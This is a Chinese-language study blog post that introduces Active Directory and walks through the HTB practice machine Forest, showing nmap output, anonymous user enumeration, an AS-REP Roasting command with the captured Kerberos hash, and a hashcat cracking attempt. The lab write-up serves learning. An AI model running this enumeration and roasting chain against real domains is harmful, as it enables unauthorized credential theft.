iT邦幫忙

2026 iThome 鐵人賽

DAY 15
1
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 15 篇

Day 15 — Active Directory:從零開始,這個陌生的世界長什麼樣?

  • 分享至 

  • xImage
  •  

從今天開始,正式踏入一個全新的領域——Active Directory(AD)。

接下來的五天,我們就邀請 HTB Retired 靶機 — Forest 陪伴我們一起學習 AD ><

為什麼選 Forest 呢?

AD 的門,我可是連踏都還沒踏進去過><

但這次準備 CPTS 的 AD 部分,需求真的有點多(?)
要適合像我這種 AD 小白,不能難到讓我直接放棄,
還希望可以拿來當作鐵人賽的實作內容,跟大家一起慢慢前進。

嗯......需求真的有點多 xddd 太困難了!!!

那我們就交給 AI~
請 AI 幫我挑選適合的靶機選手 👀

🎉 公布答案~~~

就是今天開始要陪我們五天的:HTB Retired — Forest!

那就不囉嗦了~我們的 AD 學習旅程,正式開始啦~~~><


Active Directory 是什麼?

其實在開始之前,我對 AD 幾乎是空白的——

說完全空白也不對,要問我 AD 是什麼,我能說的大概就是:

「之前公司在換 EDR 的時候,還好有 GPO 可以從 AD 統一派送——那些太老舊、沒辦法透過 GPO 派送的機器,真的讓人崩潰 xdd」

這大概是我對 AD 最有印象的一件事。知道 GPO 很好用,但 GPO 背後是 AD 在管,AD 跟 DC 有什麼差別——我完全說不出來。

看完Academy搭配今天的小實作之後~才慢慢有了一點AD輪廓><

最有印象的一個!!!為什麼 DC 是攻擊者的最終目標?

因為 DC 就像 AD 的總管家——知道網域裡有哪些使用者、電腦、群組,所有的登入驗證都靠它。

如果有人拿到了 DC 的控制權——

他可以把所有人的密碼 hash 全部倒出來,拿去離線慢慢破解。他可以把自己的帳號加進 Domain Admins,從此在整個公司的網路裡來去自如。他可以透過 GPO,一次把惡意程式推送到全公司每一台電腦—之前換 EDR 用 GPO 派送覺得很好用,現在這個機制被攻擊者拿來用也是一樣的邏輯😅

https://ithelp.ithome.com.tw/upload/images/20260929/20184189uJLisMk0vq.png

對攻擊者來說,DC 是非常重要的目標——因為控制 DC,往往意味著可以進一步影響整個網域環境。

再加上 AD 有一種「歷史共業」的感覺 xddd
很多企業的 AD 環境一用了就是十幾二十年,早期的設定、權限、服務帳號一路累積下來,後來維護的人可能已經換了好幾輪。
有些歷史設定不敢隨便動、有些服務帳號忘了清、有些權限也一路留著。
這些東西累積起來,就可能變成攻擊者可以繼續往下挖的突破口><


AD 的組織架構

讀完之後,把以前工作上看到的東西跟現在學的對起來,有種「原來如此」的感覺。

在 AD 裡,所有東西都叫做 Object(物件)——使用者是 Object、電腦是 Object、群組是 Object、甚至 OU 本身也是 Object。AD 就是一個大型的目錄,裡面放了公司所有的「東西」,DC 管理的就是這些 Object 的資訊跟權限。

https://ithelp.ithome.com.tw/upload/images/20260929/20184189cZxfbFPCrp.png

Forest(森林)——真正的安全邊界

以前在公司,有時候母公司的人會來做稽核或存取某些系統,當時只覺得「哦,母公司嘛,正常」。現在才知道,公司跟總公司之間可能就是兩個 Domain,上面還有一個 Forest 把大家包在一起。Forest 才是真正的安全邊界,要真的隔離,必須是不同的 Forest。

Domain(網域)——管理邊界

以前對 Domain 的認識,就是 Email 後面的那個字——@htb.local 的 htb.local 就是 Domain 名稱。
現在知道它代表的是一個 AD 網域,裡面會有自己的使用者、電腦、群組等 Object,並由網域中的 Domain Controller 負責提供目錄跟驗證服務。

OU(組織單位)——跟 EDR 連動的那個

以前用 EDR 的時候,看到機器被分在不同的 OU 裡,當時沒什麼感覺。現在知道不同 OU 可以套用不同的 GPO,所以 IT 部門的電腦設定跟業務部門完全不一樣——不是隨便分類,是有實際安全意義的。

GPO(群組原則物件)——統一管理設定

套用在 OU 或 Domain 上的規則——例如「所有電腦都要開防火牆」、「統一安裝某個軟體」。一個設定,整個 OU 都套用,非常方便。

但從攻擊者的角度看 xddd——能修改 GPO 的人,等於能讓所有套用那個 GPO 的電腦都下載惡意檔案。之前換 EDR 用 GPO 統一派送覺得很好用,現在想想這個機制被攻擊者拿來用也是一樣的邏輯 😅


開始實作囉~~~

這是今天在Forest機器拿到的target ip 10.129.95.210

https://ithelp.ithome.com.tw/upload/images/20260929/20184189nEuRFM9XWI.png

今天的目標:進 Forest靶機的 AD shell,看 AD 使用者清單~


Step 1:Nmap 掃描

sudo nmap -sC -sV -oA forest 10.129.95.210

https://ithelp.ithome.com.tw/upload/images/20260929/20184189rR24eBfuib.png
https://ithelp.ithome.com.tw/upload/images/20260929/20184189ZwybURO8Gd.png
https://ithelp.ithome.com.tw/upload/images/20260929/20184189qNYfmJ6lUY.png
https://ithelp.ithome.com.tw/upload/images/20260929/20184189gbGNBHhPtF.png

這是nmap掃描出的詳細結果:

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-28 15:37:41Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-09-28T08:37:45-07:00
|_clock-skew: mean: 2h26m23s, deviation: 4h02m31s, median: 6m21s
| smb2-time: 
|   date: 2026-09-28T15:37:43
|_  start_date: 2026-09-28T15:21:44

掃出來的 port 很多,第一次看到這麼多port有點不知從何下手><

而且好多 port 之前都沒看過。

雖然我們之前一直說:看到 Port → 想它可以拿來做什麼 → 用什麼工具 → 想驗證什麼

但......AD 我真的還太陌生了 xddd

這麼多 Port,到底哪些才是 AD 的線索?

所以今天我想先完成一件事情:

看到一台 Windows 主機的 Nmap 結果,我能不能從 Port 和服務,開始判斷「這是不是一台 AD 相關的主機?」

也就是之前說的:看到線索 → 判斷它代表什麼 → 再決定下一步往哪裡走(所以必須先認出他是不是AD)

這也是AD小白第一次把「AD 理論」跟「實際掃描結果」做連結><

在深入鑽研後!對我來說有意義的 port:

Port 服務 想到什麼
88 Kerberos AD 環境的特徵
389 LDAP AD 環境的特徵,可以查詢 AD 目錄
445 SMB Windows 檔案共享,可以列舉 shares、users、groups——讓我們用 enum4linux-ng
5985 WinRM 有帳密可以進 shell——爆破完帳密,可以用 evil-winrm 進入 Forest AD shell

看到 88 + 389—— 說這是 AD 環境的特徵,AI沒騙我,這台真的有機會往 AD 的方向走!

Nmap 輸出裡還有幾行:

Domain: htb.local
FQDN: FOREST.htb.local

看到 htb.local,我第一個想到的是——Domain 跟 DC(Domain Controller)好像有點像?這台會不會就是 DC?

當時還不確定,只是覺得有點關聯。後來查了才知道:
88(Kerberos)+ 389(LDAP)+ 3268(Global Catalog)一起出現,是非常強的 Domain Controller 特徵——尤其 3268 是 Global Catalog 使用的服務,而 Global Catalog 是由 Domain Controller 提供。
Forest 這台三個都有,非常可能是 DC(保持好奇心的kitty!!!意外捕捉到他可能是DC的秘密!!!

大家還記得Day 4時,我們有細細檢視enum4linux-ng,知道他能匿名列舉出user、群組、密碼原則等等!

那我們就先利用enum4linux-ng,看看能不能成功拿到帳號清單,讓我們爆破,成功拿到密碼,進入AD shell,執行我們今天的目標任務~~~

Step 2:enum4linux-ng 列帳號
大家還記得 Day 4 的時候,我們有細細檢視 enum4linux-ng,知道他能匿名列舉出 user、群組、密碼原則等等!

那我們就先利用 enum4linux-ng,看看能不能成功拿到帳號清單,讓我們爆破,成功拿到密碼,進入 AD shell,執行今天的目標任務~

enum4linux-ng  10.129.95.210

https://ithelp.ithome.com.tw/upload/images/20260929/20184189FEscQLVRjm.png
詳細結果如下


 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.129.95.210
[*] Username ......... ''
[*] Random Username .. 'kbdthimo'
[*] Password ......... ''
[*] Timeout .......... 10 second(s)

 ======================================
|    Listener Scan on 10.129.95.210    |
 ======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    Domain Information via LDAP for 10.129.95.210    |
 =====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: htb.local

 ============================================================
|    NetBIOS Names and Workgroup/Domain for 10.129.95.210    |
 ============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ==========================================
|    SMB Dialect Check on 10.129.95.210    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: true
  SMB 2.0.2: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ============================================================
|    Domain Information via SMB session for 10.129.95.210    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local
Derived membership: domain member
Derived domain: HTB

 ==========================================
|    RPC Session Check on 10.129.95.210    |
 ==========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE

 ====================================================
|    Domain Information via RPC for 10.129.95.210    |
 ====================================================
[+] Domain: HTB
[+] Domain SID: S-1-5-21-3072663084-364016917-1341370565
[+] Membership: domain member

 ================================================
|    OS Information via RPC for 10.129.95.210    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null

 ======================================
|    Users via RPC on 10.129.95.210    |
 ======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 31 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 31 user(s) via 'enumdomusers'
[+] After merging user results we have 31 user(s) total:
'1123':
  username: $331000-VK4ADACQNUCA
  name: (null)
  acb: '0x00020015'
  description: (null)
'1124':
  username: SM_2c8eef0a09b545acb
  name: Microsoft Exchange Approval Assistant
  acb: '0x00020011'
  description: (null)
'1125':
  username: SM_ca8c2ed5bdab4dc9b
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1126':
  username: SM_75a538d3025e4db9a
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1127':
  username: SM_681f53d4942840e18
  name: Discovery Search Mailbox
  acb: '0x00020011'
  description: (null)
'1128':
  username: SM_1b41c9286325456bb
  name: Microsoft Exchange Migration
  acb: '0x00020011'
  description: (null)
'1129':
  username: SM_9b69f1b9d2cc45549
  name: Microsoft Exchange Federation Mailbox
  acb: '0x00020011'
  description: (null)
'1130':
  username: SM_7c96b981967141ebb
  name: E4E Encryption Store - Active
  acb: '0x00020011'
  description: (null)
'1131':
  username: SM_c75ee099d0a64c91b
  name: Microsoft Exchange
  acb: '0x00020011'
  description: (null)
'1132':
  username: SM_1ffab36a2f5f479cb
  name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
  acb: '0x00020011'
  description: (null)
'1134':
  username: HealthMailboxc3d7722
  name: HealthMailbox-EXCH01-Mailbox-Database-1118319013
  acb: '0x00000210'
  description: (null)
'1135':
  username: HealthMailboxfc9daad
  name: HealthMailbox-EXCH01-001
  acb: '0x00000210'
  description: (null)
'1136':
  username: HealthMailboxc0a90c9
  name: HealthMailbox-EXCH01-002
  acb: '0x00000210'
  description: (null)
'1137':
  username: HealthMailbox670628e
  name: HealthMailbox-EXCH01-003
  acb: '0x00000210'
  description: (null)
'1138':
  username: HealthMailbox968e74d
  name: HealthMailbox-EXCH01-004
  acb: '0x00000210'
  description: (null)
'1139':
  username: HealthMailbox6ded678
  name: HealthMailbox-EXCH01-005
  acb: '0x00000210'
  description: (null)
'1140':
  username: HealthMailbox83d6781
  name: HealthMailbox-EXCH01-006
  acb: '0x00000210'
  description: (null)
'1141':
  username: HealthMailboxfd87238
  name: HealthMailbox-EXCH01-007
  acb: '0x00000210'
  description: (null)
'1142':
  username: HealthMailboxb01ac64
  name: HealthMailbox-EXCH01-008
  acb: '0x00000210'
  description: (null)
'1143':
  username: HealthMailbox7108a4e
  name: HealthMailbox-EXCH01-009
  acb: '0x00000210'
  description: (null)
'1144':
  username: HealthMailbox0659cc1
  name: HealthMailbox-EXCH01-010
  acb: '0x00000210'
  description: (null)
'1145':
  username: sebastien
  name: Sebastien Caron
  acb: '0x00000210'
  description: (null)
'1146':
  username: lucinda
  name: Lucinda Berger
  acb: '0x00000210'
  description: (null)
'1147':
  username: svc-alfresco
  name: svc-alfresco
  acb: '0x00010210'
  description: (null)
'1150':
  username: andy
  name: Andy Hislip
  acb: '0x00000210'
  description: (null)
'1151':
  username: mark
  name: Mark Brandt
  acb: '0x00000210'
  description: (null)
'1152':
  username: santi
  name: Santi Rodriguez
  acb: '0x00000210'
  description: (null)
'500':
  username: Administrator
  name: Administrator
  acb: '0x00000010'
  description: Built-in account for administering the computer/domain
'501':
  username: Guest
  name: (null)
  acb: '0x00000215'
  description: Built-in account for guest access to the computer/domain
'502':
  username: krbtgt
  name: (null)
  acb: '0x00000011'
  description: Key Distribution Center Service Account
'503':
  username: DefaultAccount
  name: (null)
  acb: '0x00000215'
  description: A user account managed by the system.

 =======================================
|    Groups via RPC on 10.129.95.210    |
 =======================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 29 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 38 group(s) via 'enumdomgroups'
[+] After merging groups results we have 72 group(s) total:
'1101':
  groupname: DnsAdmins
  type: local
'1102':
  groupname: DnsUpdateProxy
  type: domain
'1104':
  groupname: Organization Management
  type: domain
'1105':
  groupname: Recipient Management
  type: domain
'1106':
  groupname: View-Only Organization Management
  type: domain
'1107':
  groupname: Public Folder Management
  type: domain
'1108':
  groupname: UM Management
  type: domain
'1109':
  groupname: Help Desk
  type: domain
'1110':
  groupname: Records Management
  type: domain
'1111':
  groupname: Discovery Management
  type: domain
'1112':
  groupname: Server Management
  type: domain
'1113':
  groupname: Delegated Setup
  type: domain
'1114':
  groupname: Hygiene Management
  type: domain
'1115':
  groupname: Compliance Management
  type: domain
'1116':
  groupname: Security Reader
  type: domain
'1117':
  groupname: Security Administrator
  type: domain
'1118':
  groupname: Exchange Servers
  type: domain
'1119':
  groupname: Exchange Trusted Subsystem
  type: domain
'1120':
  groupname: Managed Availability Servers
  type: domain
'1121':
  groupname: Exchange Windows Permissions
  type: domain
'1122':
  groupname: ExchangeLegacyInterop
  type: domain
'1133':
  groupname: $D31000-NSEL5BRJ63V7
  type: domain
'1148':
  groupname: Service Accounts
  type: domain
'1149':
  groupname: Privileged IT Accounts
  type: domain
'498':
  groupname: Enterprise Read-only Domain Controllers
  type: domain
'5101':
  groupname: test
  type: domain
'512':
  groupname: Domain Admins
  type: domain
'513':
  groupname: Domain Users
  type: domain
'514':
  groupname: Domain Guests
  type: domain
'515':
  groupname: Domain Computers
  type: domain
'516':
  groupname: Domain Controllers
  type: domain
'517':
  groupname: Cert Publishers
  type: local
'518':
  groupname: Schema Admins
  type: domain
'519':
  groupname: Enterprise Admins
  type: domain
'520':
  groupname: Group Policy Creator Owners
  type: domain
'521':
  groupname: Read-only Domain Controllers
  type: domain
'522':
  groupname: Cloneable Domain Controllers
  type: domain
'525':
  groupname: Protected Users
  type: domain
'526':
  groupname: Key Admins
  type: domain
'527':
  groupname: Enterprise Key Admins
  type: domain
'544':
  groupname: Administrators
  type: builtin
'545':
  groupname: Users
  type: builtin
'546':
  groupname: Guests
  type: builtin
'548':
  groupname: Account Operators
  type: builtin
'549':
  groupname: Server Operators
  type: builtin
'550':
  groupname: Print Operators
  type: builtin
'551':
  groupname: Backup Operators
  type: builtin
'552':
  groupname: Replicator
  type: builtin
'553':
  groupname: RAS and IAS Servers
  type: local
'554':
  groupname: Pre-Windows 2000 Compatible Access
  type: builtin
'555':
  groupname: Remote Desktop Users
  type: builtin
'556':
  groupname: Network Configuration Operators
  type: builtin
'557':
  groupname: Incoming Forest Trust Builders
  type: builtin
'558':
  groupname: Performance Monitor Users
  type: builtin
'559':
  groupname: Performance Log Users
  type: builtin
'560':
  groupname: Windows Authorization Access Group
  type: builtin
'561':
  groupname: Terminal Server License Servers
  type: builtin
'562':
  groupname: Distributed COM Users
  type: builtin
'568':
  groupname: IIS_IUSRS
  type: builtin
'569':
  groupname: Cryptographic Operators
  type: builtin
'571':
  groupname: Allowed RODC Password Replication Group
  type: local
'572':
  groupname: Denied RODC Password Replication Group
  type: local
'573':
  groupname: Event Log Readers
  type: builtin
'574':
  groupname: Certificate Service DCOM Access
  type: builtin
'575':
  groupname: RDS Remote Access Servers
  type: builtin
'576':
  groupname: RDS Endpoint Servers
  type: builtin
'577':
  groupname: RDS Management Servers
  type: builtin
'578':
  groupname: Hyper-V Administrators
  type: builtin
'579':
  groupname: Access Control Assistance Operators
  type: builtin
'580':
  groupname: Remote Management Users
  type: builtin
'581':
  groupname: System Managed Accounts Group
  type: builtin
'582':
  groupname: Storage Replica Administrators
  type: builtin

 =======================================
|    Shares via RPC on 10.129.95.210    |
 =======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 ==========================================
|    Policies via RPC for 10.129.95.210    |
 ==========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
  Password history length: 24
  Minimum password length: 7
  Minimum password age: 1 day 4 minutes
  Maximum password age: not set
  Password properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
  Lockout observation window: 30 minutes
  Lockout duration: 30 minutes
  Lockout threshold: None
Domain logoff information:
  Force logoff time: not set

其實 enum4linux 這些區塊我不算完全陌生——前面學 SMB 的時候,每一區(Dialect、Sessions、Shares、Policies)我都一格一格看過。但問題來了:那時候的靶機是 workgroup,不是 AD,而且我也就只是大概了解有哪些資訊,但要精準找到有用的資訊,我還有一段路......

這麼一大串,到底哪些是重點???

AI 幫我圈了三個:

1. 31 個使用者全被列出來——可以整理成帳號清單,拿去做後面的攻擊

2. Lockout threshold: None——試密碼試再多次也不會把帳號鎖死,可以放心做後面的攻擊

3. svc-alfresco 的 acb 是 0x00010210

所以這代表什麼??AI提點後,我還是不懂,繼續追問!!!才知道0x00010210 是 DONT_REQUIRE_PREAUTH——不需要 Kerberos 預先驗證,這就是下一步的入口。

等等!!!我們剛剛什麼帳密也沒提供只用了forest提供給我們的ip,怎麼就就能列出這麼多東西?**

關鍵在這一行:

[+] Server allows authentication via username '' and password ''

一旦匿名連線建立,enum4linux 就透過 RPC 一直問這台機器:「有哪些使用者?有哪些群組?密碼原則長怎樣?」DC 全部乖乖回答。那 31 個帳號(RID 1123~1152 那段)就是這樣被列出來的——不需要任何憑證。

這時候我有一個想法跟Day 4一樣,想去看有沒有Share,說不定有密碼藏在裡面!!!!

但!!!!

[+] Found 0 share(s) for user '' with password '', try a different user

為什麼列不到共享資料夾(share)?

這台的設定是:列使用者匿名可以,但列 share 需要有效帳號。所以會出現「AD 帳號資訊拿得到,但 SMB 檔案抓不到」的狀況——這也是為什麼我用 workgroup 那套(連進去翻 share)的直覺在這裡行不通。想抓 share,得先弄到一組真的帳密。

原來螢幕上這坨看似雜訊的東西,其實已經把「怎麼從沒帳密變成有帳密」的可能路徑寫在裡面了,只是我剛剛太慌,還讀不懂 xdd


Step 3:把使用者存成 users.txt

下一步 GetNPUsers.py 需要一份使用者清單當輸入,所以先把剛剛列到的帳號存成 users.txt。

但剛剛有31個帳號,要一個一個從很亂的 enum4linux-ng,一一找到,然後貼到 users.txt嗎???太麻煩ㄌ!!!

AI 教我用 grep 直接從輸出撈:

grep 'username:' enum.txt | awk '{print $2}' > users.txt

(假設我們有把 enum4linux-ng的輸出存成檔案(例如 enum.txt)

拆解一下這行在幹嘛:

  • grep 'username:':把所有含 username: 的行抓出來
  • awk '{print $2}':每行只取冒號後面的第二個欄位,也就是帳號名本身
  • > users.txt:存成檔案

一開始想用 -oA 存起來,試了好幾次都報錯。

https://ithelp.ithome.com.tw/upload/images/20260929/20184189DnbAFQiJlV.png

https://ithelp.ithome.com.tw/upload/images/20260929/20184189N3yqkF4EXV.png

AI建議,連 . 都報一樣的錯,那就不是資料夾不存在的問題了——這版的 -oA 參數本身有 bug 或吃法不一樣~

別跟它耗,直接改用最保險的方法~

用 tee,邊看邊存:

enum4linux-ng 10.129.95.210 | tee enum.txt

https://ithelp.ithome.com.tw/upload/images/20260929/20184189DnaNFwCZn3.png

tee是把螢幕上印的東西整份複製一份寫進 enum.txt。畫面照樣會跑,,結束後 enum.txt 就有完整內容了。

接著執行

grep 'username:' enum.txt | awk '{print $2}' > users.txt

,以供GetNPUsers.py 的輸入使用者清單(users.txt)
https://ithelp.ithome.com.tw/upload/images/20260929/20184189GVzvilhxfn.png

有了 users.txt,就可以接著跑 Step 4 的 AS-REP Roasting 了。


Step 4:AS-REP Roasting

為什麼知道要用 GetNPUsers.py?
因為 enum4linux 的輸出裡有線索——svc-alfresco 的 acb 是 0x00010210,比其他帳號多了 0x00010000。說實話第一次看完全不知道代表什麼,問了 AI 才知道:這個 bit 的意思是 DONT_REQUIRE_PREAUTH,看到這個就知道可以做 AS-REP Roasting,而 GetNPUsers.py 就是專門做這件事的工具。

這時候我有個疑問——「不需要預先驗證」,那為什麼還要破解密碼?

AI 解釋之後才搞懂 XD

「不需要預先驗證」不是不用密碼就能直接登入!

正常情況下,Kerberos 會先要求你證明你是你(pre-authentication)——你傳密碼雜湊給 DC,DC 確認了才給你 TGT。

但如果帳號設定了 DONT_REQUIRE_PREAUTH,就可以跳過這一步,直接跟 DC 要 AS-REP。而 AS-REP 裡面包含用那個帳號密碼加密過的資訊——可以拿回來離線猜密碼。

所以整個概念其實是:

不用先證明知道密碼
  → 取得 AS-REP(裡面有加密過的材料)
  → 離線猜密碼
  → 猜中後才真正拿到帳號密碼

我一開始看到 AS-REP Roasting 時:

「蛤?都不用密碼了,還破解密碼幹嘛???」

現在才知道——不是不用密碼,而是先拿到可以拿來猜密碼的材料,再離線慢慢猜。這樣就突然合理很多了 xddd

GetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.95.210

拆開來看:

  • htb.local/:我們要查詢的 Domain 名稱——從 Nmap 輸出拿到的
  • -usersfile users.txt:把剛才存的帳號清單丟進去,一個一個試
  • -no-pass:我們沒有密碼,就是要找不需要密碼就能拿到 hash 的帳號
  • -dc-ip 10.129.95.210:DC 的 IP——就是靶機的 IP,從 HTB 網站拿到的

把重點highlight出來!!!

詳細結果如下

[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9bac957faf81953bd385426cd458fed$43589b187b21747bab092b795285c956f928ee4d6c1f76b89defc29cccf782074b3ea350bd1d5552b96b751934af9f8ad599e5c513ef5e73fac77e78bdfb43acc0d554f46a0e417a2d6891ad324acacbb8c4c4a71eef8620efaa8ede75eb5a6f69b57e3219683f7e44ac1ddc16b6bc0debcea8f956a0e3c81c7a644c423570ccfa6a1718fa26f7f17872b5cc766feebc2c0d4ae42aa8833ee82aa417d4b503af1ab70b0910bf980056860788589c6e851c6fb8a625c34e3909d1f2b8fd03afbf32bc17e33fbb36fa3f412144da3a13864cfa5fa9be1ef30401237f00e225896ce90fface3a9a
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

輸出裡一堆 [-] 看起來很嚇人,但其實都是正常的——工具在對清單裡每個帳號逐一試:

  • KDC_ERR_CLIENT_REVOKED:這個帳號被停用了(那些 Exchange 系統帳號),跳過
  • doesn't have UF_DONT_REQUIRE_PREAUTH set:這個帳號需要預先驗證,跳過
    大部分帳號都被跳過,只有 svc-alfresco 有免預驗證旗標,所以只有它吐出了 hash。

看到那一行長長的 $krb5asrep$23$... 出現,就知道成功了 xdd

今天先用這個工具把帳密拿到——背後的攻擊原理(AS-REP Roasting)留到 Day 18 再說清楚。

把這串 AS-REP hash 存進 hash.txt,以提供下一步驟破解

echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9bac957faf81953bd385426cd458fed$43589b187b21747bab092b795285c956f928ee4d6c1f76b89defc29cccf782074b3ea350bd1d5552b96b751934af9f8ad599e5c513ef5e73fac77e78bdfb43acc0d554f46a0e417a2d6891ad324acacbb8c4c4a71eef8620efaa8ede75eb5a6f69b57e3219683f7e44ac1ddc16b6bc0debcea8f956a0e3c81c7a644c423570ccfa6a1718fa26f7f17872b5cc766feebc2c0d4ae42aa8833ee82aa417d4b503af1ab70b0910bf980056860788589c6e851c6fb8a625c34e3909d1f2b8fd03afbf32bc17e33fbb36fa3f412144da3a13864cfa5fa9be1ef30401237f00e225896ce90fface3a9a' > hash.txt

https://ithelp.ithome.com.tw/upload/images/20260929/20184189GM0UpEikRQ.png

**Step 5:hashcat 破解

拿到那串東西,第一眼就覺得怪——開頭有 $krb5asrep$23$,長得跟之前看過的 hash 不太一樣,就去問 AI。

AI 說這個可以用 hashcat 破解,-m 18200 是對應這個格式的參數。我就照做了——但說實話,krb5asrep 是什麼、為什麼 18200 對應這個,我當時還是沒很懂,只是先跑下去再說 xdd

之後 Day 18 預計會讀到 AS-REP Roasting 的原理,到時候再特別注意一下,應該就能真的搞清楚這串 hash 是怎麼來的、為什麼可以破解。

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

-m 18200:指定解密對象為 Kerberos 5 AS-REP etype 23。

結果:
https://ithelp.ithome.com.tw/upload/images/20260929/20184189l7RFmX7ZaV.png
出現/usr/share/wordlists/rockyou.txt: No such file or directory

